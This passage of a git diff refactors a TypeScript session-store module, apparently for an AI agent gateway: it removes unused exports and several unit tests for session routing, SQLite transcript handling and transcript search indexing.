- }); - - it("updateLastRoute skips missing sessions when creation is disabled", async () => { - const sessionKey = "agent:main:demo-chat:group:room-123"; - const { storePath } = await createSessionStoreFixture({ - prefix: "updateLastRoute-no-create", - entries: {}, - }); - - const result = await updateLastRoute({ - storePath, - sessionKey, - deliveryContext: { - channel: "demo-chat", - to: "room-123", - }, - createIfMissing: false, - }); - - const store = loadSessionStore(storePath); - expect(result).toBeNull(); - expect(store[sessionKey]).toBeUndefined(); - }); - - it("updateLastRoute updates existing sessions when creation is disabled", async () => { - const sessionKey = "agent:main:demo-chat:group:room-123"; - const { storePath } = await createSessionStoreFixture({ - prefix: "updateLastRoute-existing-no-create", - entries: { - [sessionKey]: buildMainSessionEntry(), - }, - }); - - await updateLastRoute({ - storePath, - sessionKey, - deliveryContext: { - channel: "demo-chat", - to: "room-123", - }, - createIfMissing: false, - }); - - const store = loadSessionStore(storePath); - expect(store[sessionKey]?.lastChannel).toBe("demo-chat"); - expect(store[sessionKey]?.lastTo).toBe("room-123"); - }); - - it("updateLastRoute does not bump updatedAt on existing sessions (#49515)", async () => { - const mainSessionKey = "agent:main:main"; - const frozenUpdatedAt = 1000; - const { storePath } = await createSessionStoreFixture({ - prefix: "updateLastRoute-preserve-activity", - entries: { - [mainSessionKey]: buildMainSessionEntry({ - updatedAt: frozenUpdatedAt, - }), - }, - }); - - await updateLastRoute({ - storePath, - sessionKey: mainSessionKey, - deliveryContext: { - channel: "telegram", - to: "99999", - }, - }); - - const store = loadSessionStore(storePath); - // Route updates must not refresh activity timestamps; idle/daily reset - // evaluation relies on updatedAt from actual session turns. - expect(store[mainSessionKey]?.updatedAt).toBe(frozenUpdatedAt); - // Routing fields should still be updated - expect(store[mainSessionKey]?.lastChannel).toBe("telegram"); - expect(store[mainSessionKey]?.lastTo).toBe("99999"); - }); - - it("updateLastRoute skips persistence when the route is unchanged", async () => { - const mainSessionKey = "agent:main:main"; - const entry = buildMainSessionEntry({ - route: { - channel: "telegram", - target: { to: "99999" }, - }, - deliveryContext: { - channel: "telegram", - to: "99999", - }, - lastChannel: "telegram", - lastTo: "99999", - }); - const { storePath } = await createSessionStoreFixture({ - prefix: "updateLastRoute-noop", - entries: { - [mainSessionKey]: entry, - }, - }); - const before = await fs.readFile(storePath, "utf-8"); - - const result = await updateLastRoute({ - storePath, - sessionKey: mainSessionKey, - deliveryContext: { - channel: "telegram", - to: "99999", - }, - }); - - expect(result).toEqual(entry); - if (result) { - result.lastTo = "mutated"; - } - expect(loadSessionStore(storePath, { clone: false })[mainSessionKey]?.lastTo).toBe("99999"); - await expect(fs.readFile(storePath, "utf-8")).resolves.toBe(before); - }); - - it("recordSessionMetaFromInbound skips persistence when there is no metadata patch", async () => { - const mainSessionKey = "agent:main:main"; - const entry = buildMainSessionEntry(); - const { storePath } = await createSessionStoreFixture({ - prefix: "recordSessionMetaFromInbound-noop", - entries: { - [mainSessionKey]: entry, - }, - }); - const before = await fs.readFile(storePath, "utf-8"); - - const result = await recordSessionMetaFromInbound({ - storePath, - sessionKey: mainSessionKey, - ctx: {}, - }); - - expect(result).toEqual(entry); - if (result) { - result.sessionId = "mutated"; - } - expect(loadSessionStore(storePath, { clone: false })[mainSessionKey]?.sessionId).toBe("sess-1"); - await expect(fs.readFile(storePath, "utf-8")).resolves.toBe(before); - }); - it("updateSessionStoreEntry preserves existing fields when patching", async () => { const sessionKey = "agent:main:main"; const { storePath } = await createSessionStoreFixture({ @@ -600,102 +306,6 @@ describe("sessions", () => { expect(loadSessionStore(storePath)[sessionKey]?.displayName).toBe("after"); }); - it("patchSessionEntry can preserve activity for metadata-only updates", async () => { - const sessionKey = "agent:main:main"; - const { storePath } = await createSessionStoreFixture({ - prefix: "patchSessionEntry-preserve-activity", - entries: { - [sessionKey]: { - sessionId: "sess-1", - updatedAt: 100, - pluginDebugEntries: [{ pluginId: "other", lines: ["keep"] }], - }, - }, - }); - - await patchSessionEntry({ - storePath, - sessionKey, - preserveActivity: true, - update: () => ({ - pluginDebugEntries: [{ pluginId: "active-memory", lines: ["status"] }], - }), - }); - - const store = loadSessionStore(storePath); - expect(store[sessionKey]?.updatedAt).toBe(100); - expect(store[sessionKey]?.pluginDebugEntries).toEqual([ - { pluginId: "active-memory", lines: ["status"] }, - ]); - }); - - it("patchSessionEntry can replace an entry so deleted fields stay deleted", async () => { - const sessionKey = "agent:main:main"; - const { storePath } = await createSessionStoreFixture({ - prefix: "patchSessionEntry-replace-entry", - entries: { - [sessionKey]: { - sessionId: "sess-1", - updatedAt: 100, - model: "old-model", - modelProvider: "old-provider", - }, - }, - }); - - await patchSessionEntry({ - storePath, - sessionKey, - replaceEntry: true, - update: (entry) => { - const next = { ...entry, providerOverride: "openai" }; - delete next.model; - delete next.modelProvider; - return next; - }, - }); - - const store = loadSessionStore(storePath); - expect(store[sessionKey]?.providerOverride).toBe("openai"); - expect(store[sessionKey]?.model).toBeUndefined(); - expect(store[sessionKey]?.modelProvider).toBeUndefined(); - }); - - it("upsertSessionEntry drops legacy embedded ACP metadata", async () => { - const sessionKey = "agent:main:main"; - const acp = { - backend: "codex", - agent: "main", - runtimeSessionName: "runtime-session", - mode: "persistent" as const, - state: "idle" as const, - lastActivityAt: 100, - }; - const { storePath } = await createSessionStoreFixture({ - prefix: "upsertSessionEntry-acp", - entries: { - [sessionKey]: { - sessionId: "sess-1", - updatedAt: 100, - acp, - }, - }, - }); - - await upsertSessionEntry({ - storePath, - sessionKey, - entry: { - sessionId: "sess-2", - updatedAt: 200, - }, - }); - - const store = loadSessionStore(storePath); - expect(store[sessionKey]?.sessionId).toBe("sess-2"); - expect(store[sessionKey]?.acp).toBeUndefined(); - }); - it("updateSessionStore preserves concurrent additions", async () => { const dir = await createCaseDir("updateSessionStore"); const storePath = path.join(dir, "sessions.json"); diff --git a/src/config/sessions.ts b/src/config/sessions.ts index 8f45a92f8d8a..c95c36ac8fa4 100644 --- a/src/config/sessions.ts +++ b/src/config/sessions.ts @@ -16,15 +16,6 @@ export { patchSessionEntryWithKey, resetSessionEntryLifecycle, resolveSessionEntryCandidateTarget, - type CanonicalizeSessionEntryAliasesResult, - type DeleteSessionEntryLifecycleParams, - type DeleteSessionEntryLifecycleResult, - type ResolvedSessionEntryCandidateTarget, - type ResetSessionEntryLifecycleParams, - type ResetSessionEntryLifecycleResult, - type SessionEntryCandidateAccessScope, - type SessionLifecycleArchivedTranscript, - type SessionLifecycleStoreTarget, } from "./sessions/session-accessor.js"; export * from "./sessions/session-key.js"; export * from "./sessions/store.js"; diff --git a/src/config/sessions/artifacts.test.ts b/src/config/sessions/artifacts.test.ts index adbc764c4feb..05ef6969540e 100644 --- a/src/config/sessions/artifacts.test.ts +++ b/src/config/sessions/artifacts.test.ts @@ -6,11 +6,8 @@ import { isPrimarySessionTranscriptFileName, isSessionArchiveArtifactName, isSessionStoreTempArtifactName, - isTrajectoryPointerArtifactName, - isTrajectoryRuntimeArtifactName, isTrajectorySessionArtifactName, isUsageCountedSessionTranscriptFileName, - parseCompactionCheckpointTranscriptFileName, parseUsageCountedSessionIdFromFileName, parseSessionArchiveTimestamp, } from "./artifacts.js"; @@ -65,13 +62,20 @@ describe("session artifact helpers", () => { }); it("classifies trajectory sidecar artifacts", () => { - expect(isTrajectoryRuntimeArtifactName("abc.trajectory.jsonl")).toBe(true); - expect(isTrajectoryPointerArtifactName("abc.trajectory-path.json")).toBe(true); expect(isTrajectorySessionArtifactName("abc.trajectory.jsonl")).toBe(true); expect(isTrajectorySessionArtifactName("abc.trajectory-path.json")).toBe(true); expect(isTrajectorySessionArtifactName("abc.jsonl")).toBe(false); }); + it("recognizes exact compaction checkpoint transcript names", () => { + expect( + isCompactionCheckpointTranscriptFileName( + "abc.checkpoint.11111111-1111-4111-8111-111111111111.jsonl", + ), + ).toBe(true); + expect(isCompactionCheckpointTranscriptFileName("abc.checkpoint.not-a-uuid.jsonl")).toBe(false); + }); + it("classifies usage-counted transcript files", () => { expect(isUsageCountedSessionTranscriptFileName("abc.jsonl")).toBe(true); expect( @@ -110,23 +114,6 @@ describe("session artifact helpers", () => { expect(parseUsageCountedSessionIdFromFileName("abc.trajectory.jsonl")).toBeNull(); }); - it("parses exact compaction checkpoint transcript file names", () => { - expect( - parseCompactionCheckpointTranscriptFileName( - "abc.checkpoint.11111111-1111-4111-8111-111111111111.jsonl", - ), - ).toEqual({ - sessionId: "abc", - checkpointId: "11111111-1111-4111-8111-111111111111", - }); - expect(isCompactionCheckpointTranscriptFileName("abc.checkpoint.not-a-uuid.jsonl")).toBe(false); - expect( - isCompactionCheckpointTranscriptFileName( - "abc.checkpoint.11111111-1111-4111-8111-111111111111.jsonl.deleted.2026-01-01T00-00-00.000Z", - ), - ).toBe(false); - }); - it("formats and parses archive timestamps", () => { const now = Date.parse("2026-02-23T12:34:56.000Z"); const stamp = formatSessionArchiveTimestamp(now); diff --git a/src/config/sessions/artifacts.ts b/src/config/sessions/artifacts.ts index fd774dd3e320..28b868639bc8 100644 --- a/src/config/sessions/artifacts.ts +++ b/src/config/sessions/artifacts.ts @@ -72,7 +72,7 @@ export function isSessionStoreTempArtifactName(fileName: string, storeBasename: } /** Parses a compaction checkpoint transcript filename into session/checkpoint ids. */ -export function parseCompactionCheckpointTranscriptFileName(fileName: string): { +function parseCompactionCheckpointTranscriptFileName(fileName: string): { sessionId: string; checkpointId: string; } | null { @@ -88,12 +88,12 @@ export function isCompactionCheckpointTranscriptFileName(fileName: string): bool } /** Returns true for trajectory runtime jsonl artifacts. */ -export function isTrajectoryRuntimeArtifactName(fileName: string): boolean { +function isTrajectoryRuntimeArtifactName(fileName: string): boolean { return fileName.endsWith(".trajectory.jsonl"); } /** Returns true for trajectory pointer artifacts. */ -export function isTrajectoryPointerArtifactName(fileName: string): boolean { +function isTrajectoryPointerArtifactName(fileName: string): boolean { return fileName.endsWith(".trajectory-path.json"); } diff --git a/src/config/sessions/cleanup-service.ts b/src/config/sessions/cleanup-service.ts index 9eeea53cb85d..2d816661fdf5 100644 --- a/src/config/sessions/cleanup-service.ts +++ b/src/config/sessions/cleanup-service.ts @@ -51,7 +51,7 @@ export type SessionsCleanupOptions = SessionStoreSelectionOptions & { fixDmScope?: boolean; }; -export type SessionCleanupAction = +type SessionCleanupAction = | "keep" | "prune-missing" | "prune-model-run" @@ -88,7 +88,7 @@ export type SessionsCleanupResult = stores: SessionCleanupSummary[]; }; -export type SessionsCleanupRunResult = { +type SessionsCleanupRunResult = { mode: ResolvedSessionMaintenanceConfig["mode"]; previewResults: Array<{ summary: SessionCleanupSummary; diff --git a/src/config/sessions/disk-budget.ts b/src/config/sessions/disk-budget.ts index 6783834e81c8..d87d1cd25567 100644 --- a/src/config/sessions/disk-budget.ts +++ b/src/config/sessions/disk-budget.ts @@ -23,7 +23,7 @@ import { projectSessionStoreForPersistence } from "./skill-prompt-blobs.js"; import { shouldPreserveMaintenanceEntry } from "./store-maintenance.js"; import type { SessionEntry } from "./types.js"; -export type SessionDiskBudgetConfig = { +type SessionDiskBudgetConfig = { maxDiskBytes: number | null; highWaterBytes: number | null; }; @@ -46,7 +46,7 @@ export type SessionUnreferencedArtifactSweepResult = { olderThanMs: number; }; -export type SessionDiskBudgetLogger = { +type SessionDiskBudgetLogger = { warn: (message: string, context?: Record) => void; info: (message: string, context?: Record) => void; }; diff --git a/src/config/sessions/entry-freshness.ts b/src/config/sessions/entry-freshness.ts index ca1f19d76040..00839282c82a 100644 --- a/src/config/sessions/entry-freshness.ts +++ b/src/config/sessions/entry-freshness.ts @@ -15,19 +15,19 @@ import { import { loadSessionEntry, type SessionAccessScope } from "./session-accessor.js"; import type { SessionEntry } from "./types.js"; -export type ResolveSessionEntryResetFreshnessParams = SessionAccessScope & { +type ResolveSessionEntryResetFreshnessParams = SessionAccessScope & { now?: number; resetOverride?: SessionResetConfig; resetType: SessionResetType; sessionCfg?: SessionConfig; }; -export type SessionEntryLifecycleTimestamps = { +type SessionEntryLifecycleTimestamps = { sessionStartedAt?: number; lastInteractionAt?: number; }; -export type ResolvedSessionEntryResetFreshness = +type ResolvedSessionEntryResetFreshness = | { state: "missing"; entry: undefined; diff --git a/src/config/sessions/goals.ts b/src/config/sessions/goals.ts index f3ab6a09dc1f..becec6f67854 100644 --- a/src/config/sessions/goals.ts +++ b/src/config/sessions/goals.ts @@ -9,7 +9,7 @@ import { loadSessionEntry, patchSessionEntry } from "./session-accessor.js"; import { resolveFreshSessionTotalTokens } from "./types.js"; import type { SessionEntry, SessionGoal, SessionGoalStatus } from "./types.js"; -export type SessionGoalSnapshot = { +type SessionGoalSnapshot = { status: "missing" | "found"; goal?: SessionGoal; }; diff --git a/src/config/sessions/lifecycle.ts b/src/config/sessions/lifecycle.ts index 00f4279300d7..f7a12488c649 100644 --- a/src/config/sessions/lifecycle.ts +++ b/src/config/sessions/lifecycle.ts @@ -26,7 +26,7 @@ type SessionWorkStartOptions = { /** Stable Gateway error detail for stale session lifecycle requests. */ export const SESSION_LIFECYCLE_CHANGED_ERROR_REASON = "session-changed"; -export const SESSION_WORK_START_INVALIDATED_ERROR_CODE = "SESSION_WORK_START_INVALIDATED"; +const SESSION_WORK_START_INVALIDATED_ERROR_CODE = "SESSION_WORK_START_INVALIDATED"; export class SessionWorkStartInvalidatedError extends Error { readonly code = SESSION_WORK_START_INVALIDATED_ERROR_CODE; diff --git a/src/config/sessions/paths.ts b/src/config/sessions/paths.ts index 22a2dd014232..3d9c18d5e543 100644 --- a/src/config/sessions/paths.ts +++ b/src/config/sessions/paths.ts @@ -61,7 +61,7 @@ export function resolveSessionFilePathOptions(params: { return undefined; } -export const SAFE_SESSION_ID_RE = /^[a-z0-9][a-z0-9._-]{0,127}$/i; +const SAFE_SESSION_ID_RE = /^[a-z0-9][a-z0-9._-]{0,127}$/i; export function validateSessionId(sessionId: string): string { const trimmed = sessionId.trim(); @@ -294,16 +294,6 @@ export function resolveSessionTranscriptPath( ): string { return resolveSessionTranscriptPathInDir(sessionId, resolveAgentSessionsDir(agentId), topicId); } - -export function resolveExplicitSessionFilePath( - sessionFile: string, - opts?: SessionFilePathOptions, -): string { - return resolvePathWithinSessionsDir(resolveSessionsDir(opts), sessionFile, { - agentId: opts?.agentId, - }); -} - export function resolveSessionFilePath( sessionId: string, entry?: { sessionFile?: string }, diff --git a/src/config/sessions/plugin-host-cleanup.ts b/src/config/sessions/plugin-host-cleanup.ts index 450465ee8e1e..d68a1d1c12f9 100644 --- a/src/config/sessions/plugin-host-cleanup.ts +++ b/src/config/sessions/plugin-host-cleanup.ts @@ -5,7 +5,7 @@ import { normalizeSessionEntrySlotKey } from "../../plugins/session-entry-slot-k import type { SessionEntry } from "./types.js"; /** Cleanup variants owned by plugin host lifecycle paths. */ -export type PluginHostSessionCleanupMode = "plugin-owned-state" | "promoted-slots"; +type PluginHostSessionCleanupMode = "plugin-owned-state" | "promoted-slots"; export type PluginHostSessionCleanupStoreParams = { /** Agent that owns the resolved session store target. */ diff --git a/src/config/sessions/reset-policy.ts b/src/config/sessions/reset-policy.ts index dfea6c10f9c8..5be7705e47a6 100644 --- a/src/config/sessions/reset-policy.ts +++ b/src/config/sessions/reset-policy.ts @@ -19,11 +19,11 @@ export type SessionFreshness = { staleReason?: SessionResetMode; }; -export const DEFAULT_RESET_MODE: SessionResetMode = "daily"; -export const DEFAULT_RESET_AT_HOUR = 4; +const DEFAULT_RESET_MODE: SessionResetMode = "daily"; +const DEFAULT_RESET_AT_HOUR = 4; /** Returns the most recent daily reset boundary for the supplied wall-clock time. */ -export function resolveDailyResetAtMs(now: number, atHour: number): number { +function resolveDailyResetAtMs(now: number, atHour: number): number { const normalizedAtHour = normalizeResetAtHour(atHour); const resetAt = new Date(now); resetAt.setHours(normalizedAtHour, 0, 0, 0); diff --git a/src/config/sessions/reset.test.ts b/src/config/sessions/reset.test.ts index 7f8c151eb7fd..aed93132966b 100644 --- a/src/config/sessions/reset.test.ts +++ b/src/config/sessions/reset.test.ts @@ -1,24 +1,26 @@ -// Session reset tests cover clearing persisted session state. +// Session reset tests cover conversation-aware reset classification. import { beforeEach, describe, expect, it } from "vitest"; import { setActivePluginRegistry } from "../../plugins/runtime.js"; import { createSessionConversationTestRegistry } from "../../test-utils/session-conversation-registry.js"; -import { isThreadSessionKey, resolveSessionResetType } from "./reset.js"; +import { resolveSessionResetType } from "./reset.js"; describe("session reset thread detection", () => { beforeEach(() => { setActivePluginRegistry(createSessionConversationTestRegistry()); }); - it("does not treat feishu conversation ids with embedded :topic: as thread suffixes", () => { - const sessionKey = - "agent:main:feishu:group:oc_group_chat:topic:om_topic_root:sender:ou_topic_user"; - expect(isThreadSessionKey(sessionKey)).toBe(false); - expect(resolveSessionResetType({ sessionKey })).toBe("group"); + it("does not treat Feishu conversation ids with embedded :topic: as thread suffixes", () => { + expect( + resolveSessionResetType({ + sessionKey: + "agent:main:feishu:group:oc_group_chat:topic:om_topic_root:sender:ou_topic_user", + }), + ).toBe("group"); }); - it("still treats telegram :topic: suffixes as thread sessions", () => { - const sessionKey = "agent:main:telegram:group:-100123:topic:77"; - expect(isThreadSessionKey(sessionKey)).toBe(true); - expect(resolveSessionResetType({ sessionKey })).toBe("thread"); + it("still treats Telegram :topic: suffixes as thread sessions", () => { + expect( + resolveSessionResetType({ sessionKey: "agent:main:telegram:group:-100123:topic:77" }), + ).toBe("thread"); }); }); diff --git a/src/config/sessions/reset.ts b/src/config/sessions/reset.ts index a2c8b6467fa1..32a0f37ebe9a 100644 --- a/src/config/sessions/reset.ts +++ b/src/config/sessions/reset.ts @@ -8,10 +8,7 @@ import { normalizeMessageChannel } from "../../utils/message-channel.js"; import type { SessionConfig, SessionResetConfig } from "../types.base.js"; /** Public reset policy exports plus helpers that classify direct, group, and thread sessions. */ export { - DEFAULT_RESET_AT_HOUR, - DEFAULT_RESET_MODE, evaluateSessionFreshness, - resolveDailyResetAtMs, resolveSessionResetPolicy, type SessionFreshness, type SessionResetMode, @@ -23,7 +20,7 @@ import type { SessionResetType } from "./reset-policy.js"; const GROUP_SESSION_MARKERS = [":group:", ":channel:"]; /** Returns true when a session key is known to represent a thread. */ -export function isThreadSessionKey(sessionKey?: string | null): boolean { +function isThreadSessionKey(sessionKey?: string | null): boolean { return Boolean(resolveLoadedSessionThreadInfo(sessionKey).threadId); } diff --git a/src/config/sessions/runtime-types.ts b/src/config/sessions/runtime-types.ts index 36ce7336c363..93a7b623559d 100644 --- a/src/config/sessions/runtime-types.ts +++ b/src/config/sessions/runtime-types.ts @@ -9,7 +9,6 @@ export type ReadSessionUpdatedAt = (params: { storePath: string; sessionKey: string; }) => number | undefined; - export type RecordSessionMetaFromInbound = (params: { storePath: string; sessionKey: string; diff --git a/src/config/sessions/session-accessor.conformance.test.ts b/src/config/sessions/session-accessor.conformance.test.ts index f7110ed050b5..48a3ff0f4421 100644 --- a/src/config/sessions/session-accessor.conformance.test.ts +++ b/src/config/sessions/session-accessor.conformance.test.ts @@ -45,11 +45,9 @@ import { } from "./session-accessor.js"; import { appendSqliteTranscriptEvent, - appendSqliteTranscriptEvents, appendSqliteTranscriptMessage, branchSqliteCompactionCheckpointSession, cleanupSqliteSessionLifecycleArtifacts, - deleteSqliteTranscript, forkSqliteSessionEntryFromParentTarget, listSqliteSessionEntries, loadExactSqliteSessionEntry, @@ -63,7 +61,6 @@ import { replaceSqliteSessionEntrySync, replaceSqliteTranscriptEvents, restoreSqliteCompactionCheckpointSession, - sqliteTranscriptExists, upsertSqliteSessionEntry, } from "./session-accessor.sqlite.js"; import { parseSqliteSessionFileMarker } from "./sqlite-marker.js"; @@ -1868,40 +1865,6 @@ describe("sqlite session normalization", () => { expect(upsertRow?.updated_at).toBe(upsertEntry.updatedAt); }); - it("replaces, appends, checks, and deletes SQLite transcript rows without filesystem artifacts", async () => { - const env = { ...process.env, OPENCLAW_STATE_DIR: paths.stateDir }; - const scope = { - agentId: "main", - env, - sessionId: "transcript-state-session", - sessionKey: "agent:main:main", - storePath: paths.sqlitePath, - }; - - expect(sqliteTranscriptExists(scope)).toBe(false); - - await replaceSqliteTranscriptEvents(scope, [ - { type: "session", id: "transcript-state-session", cwd: paths.tempDir }, - { type: "message", id: "msg-1", parentId: null, message: { content: "one" } }, - ]); - await appendSqliteTranscriptEvents(scope, [ - { type: "message", id: "msg-2", parentId: "msg-1", message: { content: "two" } }, - ]); - - expect(sqliteTranscriptExists(scope)).toBe(true); - await expect(loadSqliteTranscriptEvents(scope)).resolves.toEqual([ - { type: "session", id: "transcript-state-session", cwd: paths.tempDir }, - { type: "message", id: "msg-1", parentId: null, message: { content: "one" } }, - { type: "message", id: "msg-2", parentId: "msg-1", message: { content: "two" } }, - ]); - - await expect(deleteSqliteTranscript(scope)).resolves.toBe(true); - expect(sqliteTranscriptExists(scope)).toBe(false); - await expect(loadSqliteTranscriptEvents(scope)).resolves.toEqual([]); - expect(fs.existsSync(paths.sqlitePath)).toBe(true); - expect(fs.readdirSync(paths.tempDir)).not.toContain("transcript-state-session.jsonl"); - }); - it("branches a checkpoint by copying SQLite rows and creating the entry transactionally", async () => { const env = { ...process.env, OPENCLAW_STATE_DIR: paths.stateDir }; const sourceScope = { diff --git a/src/config/sessions/session-accessor.sqlite.ts b/src/config/sessions/session-accessor.sqlite.ts index 1c9c3640f2ed..86c8cb215f08 100644 --- a/src/config/sessions/session-accessor.sqlite.ts +++ b/src/config/sessions/session-accessor.sqlite.ts @@ -1718,37 +1718,6 @@ function parseLatestAssistantMessageEvent( }; } -/** Checks whether the additive SQLite transcript store has rows for a transcript. */ -export function sqliteTranscriptExists(scope: SessionTranscriptReadScope): boolean { - const resolved = resolveSqliteTranscriptReadScope(scope); - const database = openOpenClawAgentDatabase(toDatabaseOptions(resolved)); - const db = getSessionKysely(database.db); - const row = executeSqliteQueryTakeFirstSync( - database.db, - db - .selectFrom("transcript_events") - .select("seq") - .where("session_id", "=", resolved.sessionId) - .limit(1), - ); - return row !== undefined; -} - -/** Deletes rows for one transcript from the additive SQLite transcript store. */ -export async function deleteSqliteTranscript(scope: SessionTranscriptReadScope): Promise { - const resolved = resolveSqliteTranscriptReadScope(scope); - return await runExclusiveSqliteSessionWrite(resolved, async () => { - let deleted = false; - runOpenClawAgentWriteTransaction((database) => { - deleted = deleteSqliteTranscriptEventsInTransaction(database, resolved.sessionId); - if (deleted) { - touchTranscriptMutationInTransaction(database, resolved.sessionId); - } - }, toDatabaseOptions(resolved)); - return deleted; - }); -} - /** Fully replaces rows for one transcript in the additive SQLite transcript store. */ export async function replaceSqliteTranscriptEvents( scope: SessionTranscriptAccessScope, @@ -1883,22 +1852,6 @@ export function appendSqliteTranscriptEventSync( }, toDatabaseOptions(resolved)); } -/** Appends raw transcript events to the additive SQLite transcript store in one transaction. */ -export async function appendSqliteTranscriptEvents( - scope: SessionTranscriptAccessScope, - events: TranscriptEvent[], -): Promise { - if (events.length === 0) { - return; - } - const resolved = resolveSqliteTranscriptScope(scope); - await runExclusiveSqliteSessionWrite(resolved, async () => { - runOpenClawAgentWriteTransaction((database) => { - appendTranscriptEventsInTransaction(database, resolved, events); - }, toDatabaseOptions(resolved)); - }); -} - /** Appends a guarded transcript turn and touches its session row in one queued write. */ export async function appendSqliteExpectedSessionTranscriptTurn( scope: SessionTranscriptWriteScope, diff --git a/src/config/sessions/session-registry-maintenance.ts b/src/config/sessions/session-registry-maintenance.ts index 48807f9d4a96..380596009847 100644 --- a/src/config/sessions/session-registry-maintenance.ts +++ b/src/config/sessions/session-registry-maintenance.ts @@ -11,14 +11,14 @@ import { collectActiveSessionWorkAdmissionKeys } from "./store-maintenance-prese import { pruneStaleEntries } from "./store.js"; import type { SessionEntry } from "./types.js"; -export type SessionRegistryMaintenanceStoreSummary = { +type SessionRegistryMaintenanceStoreSummary = { afterCount: number; beforeCount: number; preservedRunning: number; pruned: number; }; -export type SessionRegistryMaintenanceStoreOptions = { +type SessionRegistryMaintenanceStoreOptions = { /** Apply pruning to the backing store; false previews against a clone. */ apply: boolean; /** Retention window for cron-run session entries. */ diff --git a/src/config/sessions/session-transcript-index.ts b/src/config/sessions/session-transcript-index.ts index c6958d933fe3..b325844fd829 100644 --- a/src/config/sessions/session-transcript-index.ts +++ b/src/config/sessions/session-transcript-index.ts @@ -81,7 +81,7 @@ function readMessageText(message: unknown): string | undefined { * assistant message text is indexed; tool results, reasoning blocks, and * images stay out of the index by construction. */ -export function extractTranscriptIndexEntry( +function extractTranscriptIndexEntry( event: unknown, fallbackTimestamp: number, ): TranscriptIndexEntry | undefined { diff --git a/src/config/sessions/session-transcript-search.test.ts b/src/config/sessions/session-transcript-search.test.ts index 2c920e74c89c..5740f1f66239 100644 --- a/src/config/sessions/session-transcript-search.test.ts +++ b/src/config/sessions/session-transcript-search.test.ts @@ -14,18 +14,10 @@ import type { TranscriptEvent } from "./session-accessor.js"; import { appendSqliteTranscriptEvent, appendSqliteTranscriptMessage, - deleteSqliteTranscript, replaceSqliteTranscriptEvents, } from "./session-accessor.sqlite.js"; -import { - extractTranscriptIndexEntry, - listSessionsNeedingTranscriptIndexReconcile, -} from "./session-transcript-index.js"; -import { - resetSessionTranscriptSearchForTest, - searchSessionTranscripts, - waitForSessionTranscriptReconcileForTest, -} from "./session-transcript-search.js"; +import { listSessionsNeedingTranscriptIndexReconcile } from "./session-transcript-index.js"; +import { searchSessionTranscripts } from "./session-transcript-search.js"; vi.mock("../config.js", async () => ({ ...(await vi.importActual("../config.js")), @@ -44,14 +36,6 @@ beforeEach(() => { }; }); -afterEach(async () => { - await waitForSessionTranscriptReconcileForTest(); - resetSessionTranscriptSearchForTest(); - closeOpenClawAgentDatabasesForTest(); - closeOpenClawStateDatabaseForTest(); - fs.rmSync(paths.tempDir, { recursive: true, force: true }); -}); - function env(): NodeJS.ProcessEnv { return { ...process.env, OPENCLAW_STATE_DIR: paths.stateDir }; } @@ -87,6 +71,20 @@ function search(query: string, options: { limit?: number; sessionKeys?: string[] }); } +async function waitForSearchReconcile(query: string): Promise { + await vi.waitFor(() => expect(search(query).indexing).toBe(false), { + interval: 10, + timeout: 5_000, + }); +} + +afterEach(async () => { + await waitForSearchReconcile("cleanup-probe"); + closeOpenClawAgentDatabasesForTest(); + closeOpenClawStateDatabaseForTest(); + fs.rmSync(paths.tempDir, { recursive: true, force: true }); +}); + function agentKysely() { const database = openOpenClawAgentDatabase({ agentId: "main", env: env() }); return { @@ -158,18 +156,6 @@ describe("searchSessionTranscripts", () => { expect(() => search("x".repeat(4097))).toThrow(/must not exceed/); }); - it("drops hits when a transcript is deleted", async () => { - await appendUserMessage("session-1", "agent:main:main", "ephemeral content"); - expect(search("ephemeral").hits).toHaveLength(1); - - await deleteSqliteTranscript({ - agentId: "main", - env: env(), - sessionId: "session-1", - }); - expect(search("ephemeral").hits).toHaveLength(0); - }); - it("reindexes synchronously when a linear transcript is replaced", async () => { await appendUserMessage("session-1", "agent:main:main", "obsolete branch text"); await replaceSqliteTranscriptEvents(transcriptScope("session-1", "agent:main:main"), [ @@ -205,7 +191,6 @@ describe("searchSessionTranscripts", () => { message: { role: "assistant", content: [{ type: "text", text: "beta abandoned" }] }, }, ] as unknown as TranscriptEvent[]); - // Rewind to m1: m2 leaves the visible path. await appendSqliteTranscriptEvent(scope, { type: "leaf", id: "leaf-1", @@ -213,12 +198,10 @@ describe("searchSessionTranscripts", () => { targetId: "m1", } as unknown as TranscriptEvent); - // Dirty sessions are hidden from results immediately: stale rows must - // not surface rewound-away text even before the rebuild commits. const dirty = search("beta"); expect(dirty.indexing).toBe(true); expect(dirty.hits).toHaveLength(0); - await waitForSessionTranscriptReconcileForTest(); + await waitForSearchReconcile("beta"); expect(search("beta").hits).toHaveLength(0); expect(search("alpha").hits).toHaveLength(1); @@ -226,13 +209,12 @@ describe("searchSessionTranscripts", () => { it("backfills transcripts that predate the index via reconcile", async () => { await appendUserMessage("session-1", "agent:main:main", "historic knowledge"); - // Simulate a doctor-migrated database that has rows but no index state. const { db, kysely } = agentKysely(); executeSqliteQuerySync(db, kysely.deleteFrom("session_transcript_fts")); executeSqliteQuerySync(db, kysely.deleteFrom("session_transcript_index_state")); expect(search("historic").indexing).toBe(true); - await waitForSessionTranscriptReconcileForTest(); + await waitForSearchReconcile("historic"); const result = search("historic"); expect(result.indexing).toBe(false); expect(result.hits).toHaveLength(1); @@ -283,8 +265,6 @@ describe("searchSessionTranscripts", () => { timestamp: "1", }), ); - // The ghost has no transcript rows, so only the dirty scan of a live - // session triggers reconcile; force one by clearing the live watermark. executeSqliteQuerySync(db, kysely.deleteFrom("session_transcript_index_state")); const ghostRows = () => @@ -295,62 +275,10 @@ describe("searchSessionTranscripts", () => { .select("message_id") .where("session_id", "=", "session-ghost"), ).rows.length; - // Ghost rows are already invisible to search (the sessions join drops - // them); the sweep reclaims their storage. expect(ghostRows()).toBe(1); expect(search("anchor").indexing).toBe(true); - await waitForSessionTranscriptReconcileForTest(); + await waitForSearchReconcile("anchor"); expect(ghostRows()).toBe(0); expect(search("anchor").hits).toHaveLength(1); }); }); - -describe("extractTranscriptIndexEntry", () => { - it("extracts text blocks from user and assistant messages", () => { - const entry = extractTranscriptIndexEntry( - { - type: "message", - id: "m1", - timestamp: 1720000000000, - message: { - role: "assistant", - content: [ - { type: "text", text: "first" }, - { type: "tool_use", name: "exec", input: { command: "secret" } }, - { type: "text", text: "second" }, - ], - }, - }, - 0, - ); - expect(entry).toEqual({ - messageId: "m1", - role: "assistant", - text: "first\nsecond", - timestamp: 1720000000000, - }); - }); - - it("returns undefined for tool results, other roles, and empty text", () => { - expect( - extractTranscriptIndexEntry({ type: "message", id: "m1", message: { role: "tool" } }, 0), - ).toBeUndefined(); - expect( - extractTranscriptIndexEntry({ type: 